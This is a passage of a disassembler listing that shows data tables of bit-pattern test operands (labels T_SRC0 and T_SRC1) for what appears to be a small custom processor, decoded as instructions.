00030e50 <T_SRC0_916>:
30e50: 08 00 00 00 shl r0,r0
00030e54 <T_SRC0_917>:
30e54: 08 00 00 00 shl r0,r0
00030e58 <T_SRC0_918>:
30e58: 08 00 00 00 shl r0,r0
00030e5c <T_SRC0_919>:
30e5c: 08 00 00 00 shl r0,r0
00030e60 <T_SRC0_920>:
30e60: 08 00 00 00 shl r0,r0
00030e64 <T_SRC0_921>:
30e64: 08 00 00 00 shl r0,r0
00030e68 <T_SRC0_922>:
30e68: 08 00 00 00 shl r0,r0
00030e6c <T_SRC0_923>:
30e6c: 08 00 00 00 shl r0,r0
00030e70 <T_SRC0_924>:
30e70: 08 00 00 00 shl r0,r0
00030e74 <T_SRC0_925>:
30e74: 08 00 00 00 shl r0,r0
00030e78 <T_SRC0_926>:
30e78: 08 00 00 00 shl r0,r0
00030e7c <T_SRC0_927>:
30e7c: 08 00 00 00 shl r0,r0
00030e80 <T_SRC0_928>:
30e80: 10 00 00 00 ld8 r0,r0
00030e84 <T_SRC0_929>:
30e84: 10 00 00 00 ld8 r0,r0
00030e88 <T_SRC0_930>:
30e88: 10 00 00 00 ld8 r0,r0
00030e8c <T_SRC0_931>:
30e8c: 10 00 00 00 ld8 r0,r0
00030e90 <T_SRC0_932>:
30e90: 10 00 00 00 ld8 r0,r0
00030e94 <T_SRC0_933>:
30e94: 10 00 00 00 ld8 r0,r0
00030e98 <T_SRC0_934>:
30e98: 10 00 00 00 ld8 r0,r0
00030e9c <T_SRC0_935>:
30e9c: 10 00 00 00 ld8 r0,r0
00030ea0 <T_SRC0_936>:
30ea0: 10 00 00 00 ld8 r0,r0
00030ea4 <T_SRC0_937>:
30ea4: 10 00 00 00 ld8 r0,r0
00030ea8 <T_SRC0_938>:
30ea8: 10 00 00 00 ld8 r0,r0
00030eac <T_SRC0_939>:
30eac: 10 00 00 00 ld8 r0,r0
00030eb0 <T_SRC0_940>:
30eb0: 10 00 00 00 ld8 r0,r0
00030eb4 <T_SRC0_941>:
30eb4: 10 00 00 00 ld8 r0,r0
00030eb8 <T_SRC0_942>:
30eb8: 10 00 00 00 ld8 r0,r0
00030ebc <T_SRC0_943>:
30ebc: 10 00 00 00 ld8 r0,r0
00030ec0 <T_SRC0_944>:
30ec0: 10 00 00 00 ld8 r0,r0
00030ec4 <T_SRC0_945>:
30ec4: 10 00 00 00 ld8 r0,r0
00030ec8 <T_SRC0_946>:
30ec8: 10 00 00 00 ld8 r0,r0
00030ecc <T_SRC0_947>:
30ecc: 10 00 00 00 ld8 r0,r0
00030ed0 <T_SRC0_948>:
30ed0: 10 00 00 00 ld8 r0,r0
00030ed4 <T_SRC0_949>:
30ed4: 10 00 00 00 ld8 r0,r0
00030ed8 <T_SRC0_950>:
30ed8: 10 00 00 00 ld8 r0,r0
00030edc <T_SRC0_951>:
30edc: 10 00 00 00 ld8 r0,r0
00030ee0 <T_SRC0_952>:
30ee0: 10 00 00 00 ld8 r0,r0
00030ee4 <T_SRC0_953>:
30ee4: 10 00 00 00 ld8 r0,r0
00030ee8 <T_SRC0_954>:
30ee8: 10 00 00 00 ld8 r0,r0
00030eec <T_SRC0_955>:
30eec: 10 00 00 00 ld8 r0,r0
00030ef0 <T_SRC0_956>:
30ef0: 10 00 00 00 ld8 r0,r0
00030ef4 <T_SRC0_957>:
30ef4: 10 00 00 00 ld8 r0,r0
00030ef8 <T_SRC0_958>:
30ef8: 10 00 00 00 ld8 r0,r0
00030efc <T_SRC0_959>:
30efc: 10 00 00 00 ld8 r0,r0
00030f00 <T_SRC0_960>:
30f00: 20 00 00 00 nop
00030f04 <T_SRC0_961>:
30f04: 20 00 00 00 nop
00030f08 <T_SRC0_962>:
30f08: 20 00 00 00 nop
00030f0c <T_SRC0_963>:
30f0c: 20 00 00 00 nop
00030f10 <T_SRC0_964>:
30f10: 20 00 00 00 nop
00030f14 <T_SRC0_965>:
30f14: 20 00 00 00 nop
00030f18 <T_SRC0_966>:
30f18: 20 00 00 00 nop
00030f1c <T_SRC0_967>:
30f1c: 20 00 00 00 nop
00030f20 <T_SRC0_968>:
30f20: 20 00 00 00 nop
00030f24 <T_SRC0_969>:
30f24: 20 00 00 00 nop
00030f28 <T_SRC0_970>:
30f28: 20 00 00 00 nop
00030f2c <T_SRC0_971>:
30f2c: 20 00 00 00 nop
00030f30 <T_SRC0_972>:
30f30: 20 00 00 00 nop
00030f34 <T_SRC0_973>:
30f34: 20 00 00 00 nop
00030f38 <T_SRC0_974>:
30f38: 20 00 00 00 nop
00030f3c <T_SRC0_975>:
30f3c: 20 00 00 00 nop
00030f40 <T_SRC0_976>:
30f40: 20 00 00 00 nop
00030f44 <T_SRC0_977>:
30f44: 20 00 00 00 nop
00030f48 <T_SRC0_978>:
30f48: 20 00 00 00 nop
00030f4c <T_SRC0_979>:
30f4c: 20 00 00 00 nop
00030f50 <T_SRC0_980>:
30f50: 20 00 00 00 nop
00030f54 <T_SRC0_981>:
30f54: 20 00 00 00 nop
00030f58 <T_SRC0_982>:
30f58: 20 00 00 00 nop
00030f5c <T_SRC0_983>:
30f5c: 20 00 00 00 nop
00030f60 <T_SRC0_984>:
30f60: 20 00 00 00 nop
00030f64 <T_SRC0_985>:
30f64: 20 00 00 00 nop
00030f68 <T_SRC0_986>:
30f68: 20 00 00 00 nop
00030f6c <T_SRC0_987>:
30f6c: 20 00 00 00 nop
00030f70 <T_SRC0_988>:
30f70: 20 00 00 00 nop
00030f74 <T_SRC0_989>:
30f74: 20 00 00 00 nop
00030f78 <T_SRC0_990>:
30f78: 20 00 00 00 nop
00030f7c <T_SRC0_991>:
30f7c: 20 00 00 00 nop
00030f80 <T_SRC0_992>:
30f80: 40 00 00 00 *unknown*
00030f84 <T_SRC0_993>:
30f84: 40 00 00 00 *unknown*
00030f88 <T_SRC0_994>:
30f88: 40 00 00 00 *unknown*
00030f8c <T_SRC0_995>:
30f8c: 40 00 00 00 *unknown*
00030f90 <T_SRC0_996>:
30f90: 40 00 00 00 *unknown*
00030f94 <T_SRC0_997>:
30f94: 40 00 00 00 *unknown*
00030f98 <T_SRC0_998>:
30f98: 40 00 00 00 *unknown*
00030f9c <T_SRC0_999>:
30f9c: 40 00 00 00 *unknown*
00030fa0 <T_SRC0_1000>:
30fa0: 40 00 00 00 *unknown*
00030fa4 <T_SRC0_1001>:
30fa4: 40 00 00 00 *unknown*
00030fa8 <T_SRC0_1002>:
30fa8: 40 00 00 00 *unknown*
00030fac <T_SRC0_1003>:
30fac: 40 00 00 00 *unknown*
00030fb0 <T_SRC0_1004>:
30fb0: 40 00 00 00 *unknown*
00030fb4 <T_SRC0_1005>:
30fb4: 40 00 00 00 *unknown*
00030fb8 <T_SRC0_1006>:
30fb8: 40 00 00 00 *unknown*
00030fbc <T_SRC0_1007>:
30fbc: 40 00 00 00 *unknown*
00030fc0 <T_SRC0_1008>:
30fc0: 40 00 00 00 *unknown*
00030fc4 <T_SRC0_1009>:
30fc4: 40 00 00 00 *unknown*
00030fc8 <T_SRC0_1010>:
30fc8: 40 00 00 00 *unknown*
00030fcc <T_SRC0_1011>:
30fcc: 40 00 00 00 *unknown*
00030fd0 <T_SRC0_1012>:
30fd0: 40 00 00 00 *unknown*
00030fd4 <T_SRC0_1013>:
30fd4: 40 00 00 00 *unknown*
00030fd8 <T_SRC0_1014>:
30fd8: 40 00 00 00 *unknown*
00030fdc <T_SRC0_1015>:
30fdc: 40 00 00 00 *unknown*
00030fe0 <T_SRC0_1016>:
30fe0: 40 00 00 00 *unknown*
00030fe4 <T_SRC0_1017>:
30fe4: 40 00 00 00 *unknown*
00030fe8 <T_SRC0_1018>:
30fe8: 40 00 00 00 *unknown*
00030fec <T_SRC0_1019>:
30fec: 40 00 00 00 *unknown*
00030ff0 <T_SRC0_1020>:
30ff0: 40 00 00 00 *unknown*
00030ff4 <T_SRC0_1021>:
30ff4: 40 00 00 00 *unknown*
00030ff8 <T_SRC0_1022>:
30ff8: 40 00 00 00 *unknown*
00030ffc <T_SRC0_1023>:
30ffc: 40 00 00 00 *unknown*
00031000 <T_SRC0_1024>:
31000: 80 00 00 00 *unknown*
00031004 <T_SRC0_1025>:
31004: 80 00 00 00 *unknown*
00031008 <T_SRC0_1026>:
31008: 80 00 00 00 *unknown*
0003100c <T_SRC0_1027>:
3100c: 80 00 00 00 *unknown*
00031010 <T_SRC0_1028>:
31010: 80 00 00 00 *unknown*
00031014 <T_SRC0_1029>:
31014: 80 00 00 00 *unknown*
00031018 <T_SRC0_1030>:
31018: 80 00 00 00 *unknown*
0003101c <T_SRC0_1031>:
3101c: 80 00 00 00 *unknown*
00031020 <T_SRC0_1032>:
31020: 80 00 00 00 *unknown*
00031024 <T_SRC0_1033>:
31024: 80 00 00 00 *unknown*
00031028 <T_SRC0_1034>:
31028: 80 00 00 00 *unknown*
0003102c <T_SRC0_1035>:
3102c: 80 00 00 00 *unknown*
00031030 <T_SRC0_1036>:
31030: 80 00 00 00 *unknown*
00031034 <T_SRC0_1037>:
31034: 80 00 00 00 *unknown*
00031038 <T_SRC0_1038>:
31038: 80 00 00 00 *unknown*
0003103c <T_SRC0_1039>:
3103c: 80 00 00 00 *unknown*
00031040 <T_SRC0_1040>:
31040: 80 00 00 00 *unknown*
00031044 <T_SRC0_1041>:
31044: 80 00 00 00 *unknown*
00031048 <T_SRC0_1042>:
31048: 80 00 00 00 *unknown*
0003104c <T_SRC0_1043>:
3104c: 80 00 00 00 *unknown*
00031050 <T_SRC0_1044>:
31050: 80 00 00 00 *unknown*
00031054 <T_SRC0_1045>:
31054: 80 00 00 00 *unknown*
00031058 <T_SRC0_1046>:
31058: 80 00 00 00 *unknown*
0003105c <T_SRC0_1047>:
3105c: 80 00 00 00 *unknown*
00031060 <T_SRC0_1048>:
31060: 80 00 00 00 *unknown*
00031064 <T_SRC0_1049>:
31064: 80 00 00 00 *unknown*
00031068 <T_SRC0_1050>:
31068: 80 00 00 00 *unknown*
0003106c <T_SRC0_1051>:
3106c: 80 00 00 00 *unknown*
00031070 <T_SRC0_1052>:
31070: 80 00 00 00 *unknown*
00031074 <T_SRC0_1053>:
31074: 80 00 00 00 *unknown*
00031078 <T_SRC0_1054>:
31078: 80 00 00 00 *unknown*
0003107c <T_SRC0_1055>:
3107c: 80 00 00 00 *unknown*
00031080 <T_SRC0_1056>:
31080: 00 00 00 03 add r0,r3
00031084 <T_SRC0_1057>:
31084: 00 00 00 07 add r0,rtmp
00031088 <T_SRC0_1058>:
31088: 00 00 00 0f add r0,r15
0003108c <T_SRC0_1059>:
3108c: 00 00 00 1f add r0,rret
00031090 <T_SRC0_1060>:
31090: 00 00 00 3f add r1,rret
00031094 <T_SRC0_1061>:
31094: 00 00 00 7f add r3,rret
00031098 <T_SRC0_1062>:
31098: 00 00 00 ff add rtmp,rret
0003109c <T_SRC0_1063>:
3109c: 00 00 01 ff add r15,rret
000310a0 <T_SRC0_1064>:
310a0: 00 00 03 ff add rret,rret
000310a4 <T_SRC0_1065>:
310a4: 00 00 07 ff *unknown*
000310a8 <T_SRC0_1066>:
310a8: 00 00 0f ff *unknown*
000310ac <T_SRC0_1067>:
310ac: 00 00 1f ff *unknown*
000310b0 <T_SRC0_1068>:
310b0: 00 00 3f ff *unknown*
000310b4 <T_SRC0_1069>:
310b4: 00 00 7f ff *unknown*
000310b8 <T_SRC0_1070>:
310b8: 00 00 ff ff *unknown*
000310bc <T_SRC0_1071>:
310bc: 00 01 ff ff *unknown*
000310c0 <T_SRC0_1072>:
310c0: 00 03 ff ff *unknown*
000310c4 <T_SRC0_1073>:
310c4: 00 07 ff ff *unknown*
000310c8 <T_SRC0_1074>:
310c8: 00 0f ff ff *unknown*
000310cc <T_SRC0_1075>:
310cc: 00 1f ff ff *unknown*
000310d0 <T_SRC0_1076>:
310d0: 00 3f ff ff *unknown*
000310d4 <T_SRC0_1077>:
310d4: 00 7f ff ff *unknown*
000310d8 <T_SRC0_1078>:
310d8: 00 ff ff ff *unknown*
000310dc <T_SRC0_1079>:
310dc: 01 ff ff ff *unknown*
000310e0 <T_SRC0_1080>:
310e0: 03 ff ff ff *unknown*
000310e4 <T_SRC0_1081>:
310e4: 07 ff ff ff *unknown*
000310e8 <T_SRC0_1082>:
310e8: 0f ff ff ff *unknown*
000310ec <T_SRC0_1083>:
310ec: 1f ff ff ff *unknown*
000310f0 <T_SRC0_1084>:
310f0: 3f ff ff ff *unknown*
000310f4 <T_SRC0_1085>:
310f4: 7f ff ff ff *unknown*
000310f8 <T_SRC0_1086>:
310f8: ff ff ff ff *unknown*
000310fc <T_SRC1_0>:
310fc: 00 00 00 01 add r0,r1
00031100 <T_SRC1_1>:
31100: 00 00 00 02 add r0,r2
00031104 <T_SRC1_2>:
31104: 00 00 00 04 add r0,r4
00031108 <T_SRC1_3>:
31108: 00 00 00 08 add r0,r8
0003110c <T_SRC1_4>:
3110c: 00 00 00 10 add r0,r16
00031110 <T_SRC1_5>:
31110: 00 00 00 20 add r1,r0
00031114 <T_SRC1_6>:
31114: 00 00 00 40 add r2,r0
00031118 <T_SRC1_7>:
31118: 00 00 00 80 add r4,r0
0003111c <T_SRC1_8>:
3111c: 00 00 01 00 add r8,r0
00031120 <T_SRC1_9>:
31120: 00 00 02 00 add r16,r0
00031124 <T_SRC1_10>:
31124: 00 00 04 00 *unknown*
00031128 <T_SRC1_11>:
31128: 00 00 08 00 *unknown*
0003112c <T_SRC1_12>:
3112c: 00 00 10 00 *unknown*
00031130 <T_SRC1_13>:
31130: 00 00 20 00 *unknown*
00031134 <T_SRC1_14>:
31134: 00 00 40 00 *unknown*
00031138 <T_SRC1_15>:
31138: 00 00 80 00 *unknown*
0003113c <T_SRC1_16>:
3113c: 00 01 00 00 *unknown*
00031140 <T_SRC1_17>:
31140: 00 02 00 00 *unknown*
00031144 <T_SRC1_18>:
31144: 00 04 00 00 *unknown*
00031148 <T_SRC1_19>:
31148: 00 08 00 00 *unknown*
0003114c <T_SRC1_20>:
3114c: 00 10 00 00 add r0,0
00031150 <T_SRC1_21>:
31150: 00 20 00 00 sub r0,r0
00031154 <T_SRC1_22>:
31154: 00 40 00 00 mull r0,r0
00031158 <T_SRC1_23>:
31158: 00 80 00 00 udiv r0,r0
0003115c <T_SRC1_24>:
3115c: 01 00 00 00 mod r0,r0
00031160 <T_SRC1_25>:
31160: 02 00 00 00 inc r0,r0
00031164 <T_SRC1_26>:
31164: 04 00 00 00 *unknown*
00031168 <T_SRC1_27>:
31168: 08 00 00 00 shl r0,r0
0003116c <T_SRC1_28>:
3116c: 10 00 00 00 ld8 r0,r0
00031170 <T_SRC1_29>:
31170: 20 00 00 00 nop
00031174 <T_SRC1_30>:
31174: 40 00 00 00 *unknown*
00031178 <T_SRC1_31>:
31178: 80 00 00 00 *unknown*
0003117c <T_SRC1_32>:
3117c: 00 00 00 01 add r0,r1
00031180 <T_SRC1_33>:
31180: 00 00 00 02 add r0,r2
00031184 <T_SRC1_34>:
31184: 00 00 00 04 add r0,r4
00031188 <T_SRC1_35>:
31188: 00 00 00 08 add r0,r8
0003118c <T_SRC1_36>:
3118c: 00 00 00 10 add r0,r16
00031190 <T_SRC1_37>:
31190: 00 00 00 20 add r1,r0
00031194 <T_SRC1_38>:
31194: 00 00 00 40 add r2,r0
00031198 <T_SRC1_39>:
31198: 00 00 00 80 add r4,r0
0003119c <T_SRC1_40>:
3119c: 00 00 01 00 add r8,r0
000311a0 <T_SRC1_41>:
311a0: 00 00 02 00 add r16,r0
000311a4 <T_SRC1_42>:
311a4: 00 00 04 00 *unknown*
000311a8 <T_SRC1_43>:
311a8: 00 00 08 00 *unknown*
000311ac <T_SRC1_44>:
311ac: 00 00 10 00 *unknown*
000311b0 <T_SRC1_45>:
311b0: 00 00 20 00 *unknown*
000311b4 <T_SRC1_46>:
311b4: 00 00 40 00 *unknown*
000311b8 <T_SRC1_47>:
311b8: 00 00 80 00 *unknown*
000311bc <T_SRC1_48>:
311bc: 00 01 00 00 *unknown*
000311c0 <T_SRC1_49>:
311c0: 00 02 00 00 *unknown*
000311c4 <T_SRC1_50>:
311c4: 00 04 00 00 *unknown*
000311c8 <T_SRC1_51>:
311c8: 00 08 00 00 *unknown*
000311cc <T_SRC1_52>:
311cc: 00 10 00 00 add r0,0
000311d0 <T_SRC1_53>:
311d0: 00 20 00 00 sub r0,r0
000311d4 <T_SRC1_54>:
311d4: 00 40 00 00 mull r0,r0
000311d8 <T_SRC1_55>:
311d8: 00 80 00 00 udiv r0,r0
000311dc <T_SRC1_56>:
311dc: 01 00 00 00 mod r0,r0
000311e0 <T_SRC1_57>:
311e0: 02 00 00 00 inc r0,r0
000311e4 <T_SRC1_58>:
311e4: 04 00 00 00 *unknown*
000311e8 <T_SRC1_59>:
311e8: 08 00 00 00 shl r0,r0
000311ec <T_SRC1_60>:
311ec: 10 00 00 00 ld8 r0,r0
000311f0 <T_SRC1_61>:
311f0: 20 00 00 00 nop
000311f4 <T_SRC1_62>:
311f4: 40 00 00 00 *unknown*
000311f8 <T_SRC1_63>:
311f8: 80 00 00 00 *unknown*
000311fc <T_SRC1_64>:
311fc: 00 00 00 01 add r0,r1
00031200 <T_SRC1_65>:
31200: 00 00 00 02 add r0,r2
00031204 <T_SRC1_66>:
31204: 00 00 00 04 add r0,r4
00031208 <T_SRC1_67>:
31208: 00 00 00 08 add r0,r8
0003120c <T_SRC1_68>:
3120c: 00 00 00 10 add r0,r16
00031210 <T_SRC1_69>:
31210: 00 00 00 20 add r1,r0
00031214 <T_SRC1_70>:
31214: 00 00 00 40 add r2,r0
00031218 <T_SRC1_71>:
31218: 00 00 00 80 add r4,r0
0003121c <T_SRC1_72>:
3121c: 00 00 01 00 add r8,r0
00031220 <T_SRC1_73>:
31220: 00 00 02 00 add r16,r0
00031224 <T_SRC1_74>:
31224: 00 00 04 00 *unknown*
00031228 <T_SRC1_75>:
31228: 00 00 08 00 *unknown*
0003122c <T_SRC1_76>:
3122c: 00 00 10 00 *unknown*
00031230 <T_SRC1_77>:
31230: 00 00 20 00 *unknown*
00031234 <T_SRC1_78>:
31234: 00 00 40 00 *unknown*
00031238 <T_SRC1_79>:
31238: 00 00 80 00 *unknown*
0003123c <T_SRC1_80>:
3123c: 00 01 00 00 *unknown*
00031240 <T_SRC1_81>:
31240: 00 02 00 00 *unknown*
00031244 <T_SRC1_82>:
31244: 00 04 00 00 *unknown*
00031248 <T_SRC1_83>:
31248: 00 08 00 00 *unknown*
0003124c <T_SRC1_84>:
3124c: 00 10 00 00 add r0,0
00031250 <T_SRC1_85>:
31250: 00 20 00 00 sub r0,r0
00031254 <T_SRC1_86>:
31254: 00 40 00 00 mull r0,r0
00031258 <T_SRC1_87>:
31258: 00 80 00 00 udiv r0,r0
0003125c <T_SRC1_88>:
3125c: 01 00 00 00 mod r0,r0
00031260 <T_SRC1_89>:
31260: 02 00 00 00 inc r0,r0
00031264 <T_SRC1_90>:
31264: 04 00 00 00 *unknown*
00031268 <T_SRC1_91>:
31268: 08 00 00 00 shl r0,r0
0003126c <T_SRC1_92>:
3126c: 10 00 00 00 ld8 r0,r0
00031270 <T_SRC1_93>:
31270: 20 00 00 00 nop
00031274 <T_SRC1_94>:
31274: 40 00 00 00 *unknown*
00031278 <T_SRC1_95>:
31278: 80 00 00 00 *unknown*
0003127c <T_SRC1_96>:
3127c: 00 00 00 01 add r0,r1
00031280 <T_SRC1_97>:
31280: 00 00 00 02 add r0,r2
00031284 <T_SRC1_98>:
31284: 00 00 00 04 add r0,r4
00031288 <T_SRC1_99>:
31288: 00 00 00 08 add r0,r8
0003128c <T_SRC1_100>:
3128c: 00 00 00 10 add r0,r16
00031290 <T_SRC1_101>:
31290: 00 00 00 20 add r1,r0
00031294 <T_SRC1_102>:
31294: 00 00 00 40 add r2,r0
00031298 <T_SRC1_103>:
31298: 00 00 00 80 add r4,r0
0003129c <T_SRC1_104>:
3129c: 00 00 01 00 add r8,r0
000312a0 <T_SRC1_105>:
312a0: 00 00 02 00 add r16,r0
000312a4 <T_SRC1_106>:
312a4: 00 00 04 00 *unknown*
000312a8 <T_SRC1_107>:
312a8: 00 00 08 00 *unknown*
000312ac <T_SRC1_108>:
312ac: 00 00 10 00 *unknown*
000312b0 <T_SRC1_109>:
312b0: 00 00 20 00 *unknown*
000312b4 <T_SRC1_110>:
312b4: 00 00 40 00 *unknown*
000312b8 <T_SRC1_111>:
312b8: 00 00 80 00 *unknown*
000312bc <T_SRC1_112>:
312bc: 00 01 00 00 *unknown*
000312c0 <T_SRC1_113>:
312c0: 00 02 00 00 *unknown*
000312c4 <T_SRC1_114>:
312c4: 00 04 00 00 *unknown*
000312c8 <T_SRC1_115>:
312c8: 00 08 00 00 *unknown*
000312cc <T_SRC1_116>:
312cc: 00 10 00 00 add r0,0
000312d0 <T_SRC1_117>:
312d0: 00 20 00 00 sub r0,r0
000312d4 <T_SRC1_118>:
312d4: 00 40 00 00 mull r0,r0
000312d8 <T_SRC1_119>:
312d8: 00 80 00 00 udiv r0,r0
000312dc <T_SRC1_120>:
312dc: 01 00 00 00 mod r0,r0
000312e0 <T_SRC1_121>:
312e0: 02 00 00 00 inc r0,r0
000312e4 <T_SRC1_122>:
312e4: 04 00 00 00 *unknown*
000312e8 <T_SRC1_123>:
312e8: 08 00 00 00 shl r0,r0
000312ec <T_SRC1_124>:
312ec: 10 00 00 00 ld8 r0,r0
000312f0 <T_SRC1_125>:
312f0: 20 00 00 00 nop
000312f4 <T_SRC1_126>:
312f4: 40 00 00 00 *unknown*
000312f8 <T_SRC1_127>:
312f8: 80 00 00 00 *unknown*
000312fc <T_SRC1_128>:
312fc: 00 00 00 01 add r0,r1
00031300 <T_SRC1_129>:
31300: 00 00 00 02 add r0,r2
00031304 <T_SRC1_130>:
31304: 00 00 00 04 add r0,r4
00031308 <T_SRC1_131>:
31308: 00 00 00 08 add r0,r8
0003130c <T_SRC1_132>:
3130c: 00 00 00 10 add r0,r16
00031310 <T_SRC1_133>:
31310: 00 00 00 20 add r1,r0
00031314 <T_SRC1_134>:
31314: 00 00 00 40 add r2,r0
00031318 <T_SRC1_135>:
31318: 00 00 00 80 add r4,r0
0003131c <T_SRC1_136>:
3131c: 00 00 01 00 add r8,r0
00031320 <T_SRC1_137>:
31320: 00 00 02 00 add r16,r0
00031324 <T_SRC1_138>:
31324: 00 00 04 00 *unknown*
00031328 <T_SRC1_139>:
31328: 00 00 08 00 *unknown*
0003132c <T_SRC1_140>:
3132c: 00 00 10 00 *unknown*
00031330 <T_SRC1_141>:
31330: 00 00 20 00 *unknown*
00031334 <T_SRC1_142>:
31334: 00 00 40 00 *unknown*
00031338 <T_SRC1_143>:
31338: 00 00 80 00 *unknown*
0003133c <T_SRC1_144>:
3133c: 00 01 00 00 *unknown*
00031340 <T_SRC1_145>:
31340: 00 02 00 00 *unknown*
00031344 <T_SRC1_146>:
31344: 00 04 00 00 *unknown*
00031348 <T_SRC1_147>:
31348: 00 08 00 00 *unknown*
0003134c <T_SRC1_148>:
3134c: 00 10 00 00 add r0,0
00031350 <T_SRC1_149>:
31350: 00 20 00 00 sub r0,r0
00031354 <T_SRC1_150>:
31354: 00 40 00 00 mull r0,r0
00031358 <T_SRC1_151>:
31358: 00 80 00 00 udiv r0,r0
0003135c <T_SRC1_152>:
3135c: 01 00 00 00 mod r0,r0
00031360 <T_SRC1_153>:
31360: 02 00 00 00 inc r0,r0
00031364 <T_SRC1_154>:
31364: 04 00 00 00 *unknown*
00031368 <T_SRC1_155>:
31368: 08 00 00 00 shl r0,r0
0003136c <T_SRC1_156>:
3136c: 10 00 00 00 ld8 r0,r0
00031370 <T_SRC1_157>:
31370: 20 00 00 00 nop
00031374 <T_SRC1_158>:
31374: 40 00 00 00 *unknown*
00031378 <T_SRC1_159>:
31378: 80 00 00 00 *unknown*
0003137c <T_SRC1_160>:
3137c: 00 00 00 01 add r0,r1
00031380 <T_SRC1_161>:
31380: 00 00 00 02 add r0,r2
00031384 <T_SRC1_162>:
31384: 00 00 00 04 add r0,r4
00031388 <T_SRC1_163>:
31388: 00 00 00 08 add r0,r8
0003138c <T_SRC1_164>:
3138c: 00 00 00 10 add r0,r16
00031390 <T_SRC1_165>:
31390: 00 00 00 20 add r1,r0
00031394 <T_SRC1_166>:
31394: 00 00 00 40 add r2,r0
00031398 <T_SRC1_167>:
31398: 00 00 00 80 add r4,r0
0003139c <T_SRC1_168>:
3139c: 00 00 01 00 add r8,r0
000313a0 <T_SRC1_169>:
313a0: 00 00 02 00 add r16,r0
000313a4 <T_SRC1_170>:
313a4: 00 00 04 00 *unknown*
000313a8 <T_SRC1_171>:
313a8: 00 00 08 00 *unknown*
000313ac <T_SRC1_172>:
313ac: 00 00 10 00 *unknown*
000313b0 <T_SRC1_173>:
313b0: 00 00 20 00 *unknown*
000313b4 <T_SRC1_174>:
313b4: 00 00 40 00 *unknown*
000313b8 <T_SRC1_175>:
313b8: 00 00 80 00 *unknown*
000313bc <T_SRC1_176>:
313bc: 00 01 00 00 *unknown*
000313c0 <T_SRC1_177>:
313c0: 00 02 00 00 *unknown*
000313c4 <T_SRC1_178>:
313c4: 00 04 00 00 *unknown*
000313c8 <T_SRC1_179>:
313c8: 00 08 00 00 *unknown*
000313cc <T_SRC1_180>:
313cc: 00 10 00 00 add r0,0
000313d0 <T_SRC1_181>:
313d0: 00 20 00 00 sub r0,r0
000313d4 <T_SRC1_182>:
313d4: 00 40 00 00 mull r0,r0
000313d8 <T_SRC1_183>:
313d8: 00 80 00 00 udiv r0,r0
000313dc <T_SRC1_184>:
313dc: 01 00 00 00 mod r0,r0
000313e0 <T_SRC1_185>:
313e0: 02 00 00 00 inc r0,r0
000313e4 <T_SRC1_186>:
313e4: 04 00 00 00 *unknown*
000313e8 <T_SRC1_187>:
313e8: 08 00 00 00 shl r0,r0
000313ec <T_SRC1_188>:
313ec: 10 00 00 00 ld8 r0,r0
000313f0 <T_SRC1_189>:
313f0: 20 00 00 00 nop
000313f4 <T_SRC1_190>:
313f4: 40 00 00 00 *unknown*
000313f8 <T_SRC1_191>:
313f8: 80 00 00 00 *unknown*
000313fc <T_SRC1_192>:
313fc: 00 00 00 01 add r0,r1
00031400 <T_SRC1_193>:
31400: 00 00 00 02 add r0,r2
00031404 <T_SRC1_194>:
31404: 00 00 00 04 add r0,r4
00031408 <T_SRC1_195>:
31408: 00 00 00 08 add r0,r8
0003140c <T_SRC1_196>:
3140c: 00 00 00 10 add r0,r16
00031410 <T_SRC1_197>:
31410: 00 00 00 20 add r1,r0
00031414 <T_SRC1_198>:
31414: 00 00 00 40 add r2,r0
00031418 <T_SRC1_199>:
31418: 00 00 00 80 add r4,r0
0003141c <T_SRC1_200>:
3141c: 00 00 01 00 add r8,r0
00031420 <T_SRC1_201>:
31420: 00 00 02 00 add r16,r0
00031424 <T_SRC1_202>:
31424: 00 00 04 00 *unknown*
00031428 <T_SRC1_203>:
31428: 00 00 08 00 *unknown*
0003142c <T_SRC1_204>:
3142c: 00 00 10 00 *unknown*
00031430 <T_SRC1_205>:
31430: 00 00 20 00 *unknown*
00031434 <T_SRC1_206>:
31434: 00 00 40 00 *unknown*
00031438 <T_SRC1_207>:
31438: 00 00 80 00 *unknown*
0003143c <T_SRC1_208>:
3143c: 00 01 00 00 *unknown*
00031440 <T_SRC1_209>:
31440: 00 02 00 00 *unknown*
00031444 <T_SRC1_210>:
31444: 00 04 00 00 *unknown*
00031448 <T_SRC1_211>:
31448: 00 08 00 00 *unknown*
0003144c <T_SRC1_212>:
3144c: 00 10 00 00 add r0,0
00031450 <T_SRC1_213>:
31450: 00 20 00 00 sub r0,r0
00031454 <T_SRC1_214>:
31454: 00 40 00 00 mull r0,r0
00031458 <T_SRC1_215>:
31458: 00 80 00 00 udiv r0,r0
0003145c <T_SRC1_216>:
3145c: 01 00 00 00 mod r0,r0
00031460 <T_SRC1_217>:
31460: 02 00 00 00 inc r0,r0
00031464 <T_SRC1_218>:
31464: 04 00 00 00 *unknown*
00031468 <T_SRC1_219>:
31468: 08 00 00 00 shl r0,r0
0003146c <T_SRC1_220>:
3146c: 10 00 00 00 ld8 r0,r0
00031470 <T_SRC1_221>:
31470: 20 00 00 00 nop
00031474 <T_SRC1_222>:
31474: 40 00 00 00 *unknown*
00031478 <T_SRC1_223>:
31478: 80 00 00 00 *unknown*
0003147c <T_SRC1_224>:
3147c: 00 00 00 01 add r0,r1
00031480 <T_SRC1_225>:
31480: 00 00 00 02 add r0,r2
00031484 <T_SRC1_226>:
31484: 00 00 00 04 add r0,r4
00031488 <T_SRC1_227>:
31488: 00 00 00 08 add r0,r8
0003148c <T_SRC1_228>:
3148c: 00 00 00 10 add r0,r16
00031490 <T_SRC1_229>:
31490: 00 00 00 20 add r1,r0
00031494 <T_SRC1_230>:
31494: 00 00 00 40 add r2,r0
00031498 <T_SRC1_231>:
31498: 00 00 00 80 add r4,r0
0003149c <T_SRC1_232>:
3149c: 00 00 01 00 add r8,r0
000314a0 <T_SRC1_233>:
314a0: 00 00 02 00 add r16,r0
000314a4 <T_SRC1_234>:
314a4: 00 00 04 00 *unknown*
000314a8 <T_SRC1_235>:
314a8: 00 00 08 00 *unknown*
000314ac <T_SRC1_236>:
314ac: 00 00 10 00 *unknown*
000314b0 <T_SRC1_237>:
314b0: 00 00 20 00 *unknown*
000314b4 <T_SRC1_238>:
314b4: 00 00 40 00 *unknown*
000314b8 <T_SRC1_239>:
314b8: 00 00 80 00 *unknown*
000314bc <T_SRC1_240>:
314bc: 00 01 00 00 *unknown*
000314c0 <T_SRC1_241>:
314c0: 00 02 00 00 *unknown*
000314c4 <T_SRC1_242>:
314c4: 00 04 00 00 *unknown*
000314c8 <T_SRC1_243>:
314c8: 00 08 00 00 *unknown*
000314cc <T_SRC1_244>:
